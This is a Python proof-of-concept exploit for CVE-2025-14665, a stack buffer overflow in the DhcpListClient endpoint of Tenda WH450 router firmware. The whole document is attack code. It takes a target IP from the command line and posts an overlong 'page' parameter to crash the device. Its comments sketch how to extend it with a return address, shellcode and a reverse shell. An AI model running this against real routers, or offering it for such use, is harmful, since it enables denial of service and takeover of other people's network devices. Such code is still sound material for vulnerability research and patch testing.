CVE-2025-14665

#!/usr/bin/env python3 """ CVE-2025-14665 PoC - Tenda WH450 Stack Buffer Overflow in /goform/DhcpListClient This PoC demonstrates the stack-based buffer overflow vulnerability in the DhcpListClient component of Tenda WH450 router firmware 1.0.0.18 """ import requests import sys def exploit_cve_2025_14665(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in Tenda WH450 Args: target_ip: Target router IP address target_port: Target router web server port """ url = f"http://{target_ip}:{target_port}/goform/DhcpListClient" # Create an overly long page parameter to trigger buffer overflow # The actual required length may vary based on firmware version overflow_length = 1000 # Adjust based on target payload = "A" * overflow_length # In a real exploit, this payload would contain: # - Padding to reach return address on stack # - Address to jump to (e.g., to shellcode or existing function) # - Shellcode for command execution (if applicable) data = { "page": payload } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, timeout=5) print(f"[+] Request sent successfully") print(f"[*] Response status code: {response.status_code}") # Check if the exploit was successful # In real scenario, you would check for: # - Device crash/reboot (DoS) # - Command execution via response # - Reverse shell connection return True except requests.exceptions.Timeout: print("[-] Request timed out - device may have crashed or is unresponsive") return True except requests.exceptions.ConnectionError: print("[-] Connection error - device may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-14665.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-14665 - Tenda WH450 Buffer Overflow PoC") print("=" * 60) exploit_cve_2025_14665(target, port)

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